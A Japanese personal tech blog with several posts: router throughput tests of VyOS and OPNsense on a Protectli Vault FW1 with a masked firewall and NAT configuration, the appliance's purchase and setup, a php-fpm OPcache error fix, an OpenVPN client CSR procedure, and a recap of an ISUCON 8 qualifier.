OPNsense は初期設定でも最低限のファイヤーウォールが設置されているようで、色々設定画面に出てきた。Linux (iptables) と FreeBSD の違いか、かなり設定項目が違ったので、ひとまず初期設定で前回と同じ構成で iperf を通したところ、次のようになった。

Vault の top

39 processes:  1 running, 38 sleeping
CPU:  0.0% user,  0.0% nice, 30.7% system,  0.1% interrupt, 69.2% idle
Mem: 115M Active, 103M Inact, 182M Wired, 31M Buf, 7418M Free
Swap: 8192M Total, 8192M Free

iperf

TCP window size: 85.0 KByte (default)
------------------------------------------------------------
[  3] local 192.168.1.101 port 57712 connected with 192.168.100.37 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-20.0 sec  2.18 GBytes   935 Mbits/sec

PC Junkie rev2.4 – 【NW】pfsense VS Vyatta でも Vyatta は pfSense と比べて同じスループットでも CPU 使用率がはるかに低かったと報告されているが、今回の比較(VyOS と OPNsense)でも概ね同じ傾向のようだ(前回は VyOS は初期設定で 1% 未満、ファイヤーウォールを構成していくつか設定すると7%くらいだった)。

また、電源ボタンを押すと OPNsense が正常にシャットダウンした。

とりあえず、最初にインストールして気付いた差は次の通り。単純な設定でのスループット性能としては VyOS の方が優れていそうではあるが、どちらも Gigabit な環境でルータにするのに不足ということはなさそう。OPNsense は WebUI で色々いじれたりする点などもあり、ひとまずは OPNsense を使ってみることにした。

項目 VyOS OPNsense
NAT 930Mbps での CPU 使用率 初期設定1%未満
いくつか FW を設定すると 7% (条件は前回)
初期設定約30%
初期インストールでの SSD 消費量 約 500MB
(約 1GB を squashfs 圧縮)
約 1GB
WebUI なし あり

VyOS 負荷測定 on Protectli Vault FW1

Protectli Vault FW1 に VyOS を入れて、一応はファイヤーウォールも形だけ設定した状態での速度を計った。1Gbps リンク程度なら Celeron J1900 でも余裕な模様。

なお、自宅配線の都合上別のルータが挟まっていたりしてこれも正確な測定ではない。あくまで Vault FW1 + VyOS の負荷状況を確認するもの。

ルール

(show config の結果のうち NAT に関係ないものは省略、よくわからないけど公開するほどでもない LAN 内のパラメタは **** にした)

firewall {
    all-ping enable
    broadcast-ping disable
    config-trap disable
    ipv6-receive-redirects disable
    ipv6-src-route disable
    ip-src-route disable
    log-martians enable
    name WAN_TO_LAN {
        default-action drop
        rule 100 {
            action accept
            state {
                established enable
                related enable
            }
        }
        rule 110 {
            action accept
            destination {
                port 22
            }
            protocol tcp
        }
        rule 120 {
            action accept
            destination {
                port 5001
            }
            protocol tcp
        }
    }
    receive-redirects disable
    send-redirects enable
    source-validation disable
    syn-cookies enable
    twa-hazards-protection disable
}
interfaces {
    ethernet eth0 {
        address dhcp
        duplex auto
        firewall {
            in {
                name WAN_TO_LAN
            }
        }
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth1 {
        address ****
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth2 {
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    ethernet eth3 {
        duplex auto
        hw-id ****
        smp-affinity auto
        speed auto
    }
    loopback lo {
    }
}
nat {
    destination {
        rule 1 {
            destination {
                port 23
            }
            inbound-interface eth0
            protocol tcp
            translation {
                address ****
                port 22
            }
        }
        rule 2 {
            destination {
                port 5001
            }
            inbound-interface eth0
            protocol tcp
            translation {
                address ****
                port 5001
            }
        }
    }
    source {
        rule 99 {
            outbound-interface eth0
            source {
                address ****
            }
            translation {
                address masquerade
            }
        }
    }
}

WAN -> LAN (LAN 側が iperf における -c)
転送速度

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  1.09 GBytes   932 Mbits/sec

LAN -> WAN (LAN 側が iperf における -s)

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  1.09 GBytes   933 Mbits/sec

WAN -> LAN の際の Vault

%Cpu(s):  0.0 us,  0.2 sy,  0.0 ni, 93.3 id,  0.0 wa,  0.0 hi,  6.5 si,  0.0 st

このページで出せる考察

ジャンボフレームなどは無効なまま iperf でこの速度が出ているので、ギガビット(TCP/IP ならペイロードは理論値で 950Mbps 未満なはず?)は使い切って CPU が余っているといえそう。

ルータの自由度を上げるために Protectli Vault FW1 を買ってきた

現在家のルータは RouterBoard RB3011-UiAS-RM を使っているが、Protectli Vault FW1 の存在を知り、より自由度が高い遊べる環境を用意しようと思って購入した。

買い物

今回は Amazon.com で買ってきた。Amazon.com でのページは Firewall Micro Appliance With 4x Gigabit Intel LAN Ports, Barebone だが、今は全く同じものは売り切れているようだ(同じシリーズの他のものはある)。買ったときは $199.00 で、それに送料 1,272 円と Import Fees Deposit 1,915 円(多分ドル建てで決まっていたはずだが、 Invoice では JPY になっている)がかかった(勤務先にはこういう時に使える会社の費用補助があるので自己負担はもっと少ない)。

今回購入したのはベアボーンなので、 RAM と SSD を買う必要があった。 RAM は DDR3L で最大 8GB、 SSD は mSATA で、それぞれ次のものを買った。

なお、どちらも滅びかかっている規格のようで、 DDR3L RAM はいくつかの店にあったが、 mSATA SSD は秋葉原ではそもそもほとんどの店に存在せず、あっても 8000 円以上するモデルしか見当たらなかったため Amazon で購入した。ちなみに、 RAM は刺さないと画面にも何も映らないので、動作確認には最低でも RAM が必要。

届いた商品

マザーボードはこのような感じになっている。マザーボードに YANLING のロゴがあるので委託先かもしれない。YANLING のページを見ると、YANLING の N10Plus がほぼ同じ製品であるように見える。筐体裏面には Made in China と書いてあり、時計も中国の標準時に設定されて出荷されてきた。

ファンレスなので音もせずとても静かで、大きさもさすがにポート数の同じスイッチングハブよりは大きいものの、それと比べたくなる程度には小さい(普通の L3 扱えるルータと比べるとむしろ小さい気がする)。

また、 BIOS には「電源オン状態で電力供給が途絶えた場合、電力が復活したら自動でオンに戻る」設定があり、標準で有効になっているようだ。BIOS 画面で AC アダプタを引っこ抜いて落ちた後アダプタを戻したら、自動で OS が起動した。ルータは常時起動していることを想定するので、この機能はありがたい(hp ML115 でも見た気がするので、デスクトップパソコンをあまり使わないから知らないだけでよくある機能なんだろうか)。

なお、 AC アダプタは Protectli 40W Power Supply – Protectli の商品画像と同じ、 CHANNEL WELL TECHNOLOGY なる会社のものがきた。商品紹介ページでは 110-240V と書いてあったり FAQ では 100-240V となっていたりするが、商品画像と同じく 100-240V と書かれたものがきた。アダプタ本体とケーブルの間は PC やモニタの電源でよく見る端子なのでその辺で買えそうなケーブルだった。日本でそのまま使える type-A だがアース付きなので、タップにアースがない場合は3ピン→2ピンをかますか、ケーブルを買い替えることになると思われる。

Ubuntu MATE で動作確認

まず最初に、 RAM だけ買って SSD なしの状態で Ubuntu MATE のインストーラの USB メモリを刺したところすんなり GUI が立ち上がった。

電源ボタンも Ubuntu MATE 側できちんと認識して、押されたらダイアログを出すなりなんなり OS で設定した動作をするようだ。

VyOS 入れてのテスト

SSD が到着したら、とりあえず VyOS を入れてみた。FW1 FW2 FW4A Series Hardware Overview – Protectli の説明通り、 WAN が eth0、LAN が eth1 に割り当たっていた。

また、添付のケーブルを使うことでシリアルポートも利用できた。BIOS 画面をシリアルポートに転送する機能がついていて、 OS が起動した後は OS から見えるようになっているので VyOS もシリアルポート越しに利用できた。VyOS では GRUB で Serial console を選ぶと起動画面もシリアルで流れてくる( GRUB は VGA とシリアルポート両方に表示された)

ただし、 BIOS 画面が出ている状態でのシリアルポートは How to use the Vault’s COM port – Protectli の説明通り 115,200 bps なのに対し、 VyOS の初期設定は 9,600 bps なので、切り替えないと途中で画面が表示されなくなる。BIOS も VyOS も設定項目はあるようなので、使うならどちらかに統一しておいた方がよさそう。

VGA あるから家ならそちらを使えばいい感はあるが、 GPD microPC とか持っていたらシリアルポートが利用できるのが便利なのかもしれない。

インストールしたら、次の二つを参考に VyOS で NAT 構成してみた。まだファイヤーウォールなどは設定していない。インストールも含め、特に問題らしい問題は少なくともデバイス由来のものは起こらなかった。

簡単な速度測定

この状態で、ざっくり NAT 越しに速度を測定してみた。

Protectli で NAT を構成し、 ThinkPad を LAN 側に、部屋の LAN WAN 側にして、部屋の LAN においた ML115 (の上に増設された何かの NIC)と、 ThinkPad の間で NAT 越しの iperf を試してみた。

iperf

[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-20.0 sec  1.65 GBytes   709 Mbits/sec

通信中の Protectli Vault の top

%Cpu(s):  0.0 us,  0.1 sy,  0.0 ni, 99.3 id,  0.0 wa,  0.0 hi,  0.6 si,  0.0 st
KiB Mem:   8051500 total,   286864 used,  7764636 free,    31692 buffers
KiB Swap:        0 total,        0 used,        0 free.   138536 cached Mem

(追記:この後 ThinkPad を測定用とせずデスクトップ/サーバ構成のマシン同士で測定したところ、簡易測定でもスループットが 930 Mbps を超えたので、Protectli Vault FW1 + VyOS のせいで 800Mbps を下回っていたわけではなさそう:VyOS スループット測定 on Protectli Vault FW1 | にろきのメモ帳
(追記:↑しかし ThinkPad も状況により 900Mbps を超えたので原因はよくわからない)

php-fpm on Ubuntu での謎エラーの解決

Ubuntu 18.04 + php-fpm 7.2 + NextCloud で、

Zend OPcache can't be temporary enabled (it may be only disabled till the end of request) at Unknown#0

のようなエラーがログに大量に貯まるので調査。色々ぐぐったところ、 opcache.enable を複数回設定しようとするとよくわからないエラーとして登場するようだ。とりあえず、 /etc/php/7.2/fpm/pool.d/***.conf から opcache.enable と opcache.enable_cli をコメントアウトし、 /etc/php/7.2/fpm/php.ini では有効化されているのを確認することでエラーメッセージは消えたが、想定通りになったかどうかまでは確認できていない。

Windows 版 OpenVPN をクライアントにする時、ローカルで鍵ペアを生成して CSR だけ送る

OpenVPN でサーバを構築する方法は2x HOW TO | OpenVPNなどのページに掲載されていたりするが、 Windows 版で新規クライアントに対して easy-rsa を用いつつ秘密鍵を端末から出さないで証明書を得る方法について。何分目新しいものはないが、こういうのは既にサーバが立っていると手順通り以外したくなくなる病になりがち(特に easy-rsa で微妙にラップされているので余計になりがち)なのでメモ。基本的にはEasy_Windows_Guide – OpenVPN Communityの簡略版。

クライアント側

  • Community Downloads | OpenVPNよりクライアントをダウンロード
  • インストール。この時、インストールするもの一覧で、 EasyRSA をインストールするオプションのチェックボックスを忘れずにつける。
  • cmd.exe を管理者権限で開く

init-config は vars をリセットするのでインストール時のみ実行。notepad では “set KEY_” で始まる行の環境変数を適宜設定。client-name は(ca の中で)一意なものを設定。

> cd "C:\Program Files\OpenVPN\easy-rsa"
> init-config
> notepad vars.bat
> vars
> clean-all
> build-key client-name

client-name.key と client-name.csr ができるので、 csr は VPN 設計的には秘密にする必要はないので OpenVPN サーバを管理できる端末に送る。key はクライアント端末から出さない。

サーバ側

# cd easy-rsa # ここを読んでいる時点でeasy-rsa のディレクトリが既にあるはずなので移動
# vim ./keys/client-name.csr # コピー方法はなんでもよいが、ここに csr を配置
# . ./vars
# ./sign-req client-name

これで、 ./keys/client-name.crt に証明書が発行される。これも秘密にする必要はないのでクライアント端末にコピーする。

ISUCON 8 予選に参加した話

ISUCON 8 の予選にチーム「ワイハリマ」として yuta1024, yabuuuuu とともに参加していた。ソースコードは GitHub で公開: yuta1024/isucon8 yuta1024/isucon8-infra

一瞬だけなぜか 47k というスコアが出るも、最終的に、最後の方は 33k-36k 程度をさまよいつつ最後の提出が 35,379 点。予選通過ラインは 36,471 点だった模様。競技中は予選通過はもっと遠いものと思っていたら、もう一工夫どころか下手したらベンチマークガチャの引き程度で超えていたかもしれない程度まで近づいていたのか…… 思うところは色々あるが来年がんばりたい。

ということで思い出せる範囲で、自分が実施したことをメモ。

競技前準備

当日の集合のことと、 GitHub のプライベートリポジトリを使用することを決定。その後、個人的な用事により旅立ってしまい前日に戻ってきたが、その間に yuta1024 と yabuuuuu はその間にアプリケーションの配布ツールや想定されたミドルウェアの設定、 SSH 公開鍵配布などを準備してくれていたようだ。ISUCON の日程も自分の不在もずいぶん前からわかっていたし、数日前だと全員いたとしても時間が潤沢にとれたわけでもないので、もう少し早めに(例えばディストリビューションがわかった時点で)動くべきだった。

競技開始

当日集合し作業開始。作業時間は当初のアナウンス通り、 10:00-18:00。

まずは問題を把握。題材はイベントの予約サイトで、管理者はイベントの追加や売り上げの集計が行え、ユーザは席の予約(ランクだけ選んであとはランダム)とそのキャンセル、自分の予約状況の確認が行える。テーブル構成は先ほどのリポジトリの isucon8/db/schema.sql にもとのものが上がっているが、概ねの構成は以下の通り。全てのイベントを一つの会場で実施していることになかなか気付かず、理解するのに少し時間がかかった。

  • ユーザのテーブル。ユーザごとに一行で、普通。
  • イベントのテーブル。公開されているかや価格(一番安い C 席の価格。上位席は席のグレードごとに決まった金額(後述)が加算)などが格納されている。普通。
  • 席のテーブル。S席(番号1-50で価格は(C席と比べた差額が)5000円)みたいなのが S, A, B, C の 4 種類、 1000 席あり、これで 1000 行を構成している。それぞれに id とは別に種別ごとの ID もついている(例えば A 席なら id=51 が 1 番、 id=60 が 10 番……)。なお、会場は一つしかないようで、この席とイベントの相関はない。中身は不変。まあなんというか、要するに明らかに無駄が多い。
  • 予約テーブル。予約ごとに1行だが、キャンセルした予約も参照することがあるため論理削除しか行われない。しかも、キャンセルフラグはわかれておらず canceled_at の時刻が NULL かどうかで判定している。席の空き状況もここで管理しているようだ(ただ、 UNIQUE KEY で二重予約が防止されている)。初期データで19万行程度あるが、そのうちキャンセルされていないのは 15k 程度しかないようだ。もちろん構成としては席テーブルよりはわかるがここも色々と問題になりやすそう。
  • 管理者の一覧。あんまり見ていなかったが、結果的にこれをいじるようなリクエストはあまり問題にならなかった。

また、今回は PHP を選択した。その場合、初期実装は Slim フレームワーク利用だった。時間はかかるが脱却すると速くはなる気はしていたのだが、初期ベンチで明らかに SQL が重かったこともあり、最後まで Slim に載せたままだった。初期状態でスコアは 1k 程度。

与えられた VM が 3 台あったが、初期実装は一台で動作するものだった。

初動

アプリケーションのロジックを主担当とすることになり、ミドルウェアの設定は残りの二人に任せてとりあえず VM のうち 1 台を使って調査開始。最初にどうにかすべきと判断したのはとりあえず席の一覧(1000件)取得後にその一件一件に対して予約状況を確認する SQL 文を発行していたこと(修正途中、別方面で分析を進めていた二人からもここがやばいと報告あり)。席テーブルの内容をハードコードし、ざっくり書き換えたのと、他の二人のミドルウェア改善と合わせてこの時点で 10k 突破(ただ、ベンチごとの揺らぎが激しく、同じコードで 5k を下回ることもあった)

これでも mysql の CPU 使用率がほとんどなので、これはデータベースチューニング回になると判断。

中盤

とりあえず見るまでもなく修正する点をつぶしている間にミドルウェアの整備が進んで kataribe や MySQL のスローログが使えるようになった。/admin/ や / が重いとわかるが、純粋にデータ量が多いため他と同じ処理時間になるわけもなく、他のボトルネックの検討も含めて相談。予約済みのもののみに興味があるクエリでは明らかに無駄で、特にキャンセル済み判定にインデックスが使えていないという yabuuuuu の指摘もあり、キャンセル判定や最終更新時刻など、テーブルにカラムをいくつか追加。変更点は ALTER やサブクエリを使えば SQL 文で完結しそうだったので /initialize の init-db.sh の修正を行い、保存された sqldump には手を付けなかった(その方が後々の変更も楽だし)。追加で必要となったインデックスも追加。

なお、空席選択のコードは初期実装では「空席の中からランダムに選ぶ」になっていたが、ランダムで通るならルール上はどのような規則で選んでも構わないと判断して、手を加える必要があった際にデバッグのしやすい「条件を満たす空席のうち id が最も若いものを選ぶ」コードを書いたところ、「ランダムではない」ことがシステムにバレて失敗扱いになったのはおもしろかった。検出のロジックが少しだけ気になった。

またついでに、潰せそうな SQL 文(SHA256 のためだけにクエリ発行しているクエリなどもあった)も潰してみたが、こちらは効果がほとんどなかった。

この間に他の二人が、ミドルウェア周りの整備および関連コードの修正を進めて DB×1, FE×2 構成に変更になった。MySQL が入っているマシンは MySQL が本気を出せるようになり、この段階で 30k 突破。一回だけなぜか 47,473 点をマークしたが、ベンチを走らせた本人曰く「修正で想定以上に改善したと思ったら、修正が反映されていなかったのに一回だけスコアが上がった」とのことで、理由は謎に包まれている。

また、この時点で必然的に環境が共有になったため、誰かがデプロイをしたくなっても他の人の作業を待つ必要があり、複数台にデプロイする手間も相まってデプロイ頻度が低下してきた。

終盤

時間があれば実施したいことは山ほどあったが、残り二時間を下回ってはそうも言っていられず、改善できそうなところから修正。複数クエリにまたがるトランザクションの削減などを試みるも、効果は限定的。相変わらずベンチごとにスコアが揺らぐ状況は続いていた。

最後の30分はベンチマークガチャに充てよう、などと話しつつ、終了30分前になって実施した再起動試験で、なんと 502 Bad Gateway になるという事件が発生した。再起動後も正常に稼働できるようになっていないと、レギュレーション上当然ながら失格となってしまうため全員で慌てて対処し、かろうじて残った約5分でベンチを回し始めたが、最後のベンチが0点でなすすべなく☀となることは避けたかったので、 17:59:10 に走行し終えたベンチを最後に終了。その時は予選突破はもっと遠い点数であり最後のベンチの点数こそが自分たちの成績になると思っていたが、結果を見た今ではもう一回回していれば結果は変わったかもしれないという大変微妙なところにいたと言える。

反省会

競技終了後、準備不足であったことを感じながら、移動および夕食のため池袋に向かった。サンシャイン60通り商店街周辺から探索を始めたが、三連休の中日の夜でどの店も長い列ができており、徐々に南下しながら探索を行い、最終的には東通り(JR 池袋駅南口の東南東)に到達した。この間に早くも ISUCON 運営の方々による再起動等の試験・集計が完了して公表され、予選突破ラインとの差がベンチマークガチャ程度の差であったことを知った上で、反省会が始まった。

感想

ウェブアプリケーションとして素直な構成でありながら、最初に一台構成で組まれたコードを複数台に分散する要素が活用されており、奇をてらったり知っているかどうかを競うだけのゲームになったりもしなかった。そのため、チューニングらしくて良いと思った去年にも増して楽しめる競技だった。

そして、そのような素晴らしい競技で今回は惜しいところで本選出場を逃したこと、事前準備を早くにしていれば当日時間短縮できそうなところが多くあったところなど、悔しい点もあった。前回の ISUCON 予選は複数台サーバの時計のずれなど、重要な点に気付く必要があり、それには時間があっても気付けなかっただろうと感じたが、今回は時間があればできたと思うことは多くあった。もちろん、 ISUCON の競技としては事前準備が効きすぎてしまうのはよくないだろうと思うし、その想定で情報を掲出している点もあるとは思うが、それでも8時間という短い時間ですべてを出し切るには特にデプロイ周り、時間の使い方や締切、(ISUCON 7 予選で複数 VM となる前例があった今)複数 VM を複数人で活用する方法など、事前準備が避けられない点は準備しておくべきだった。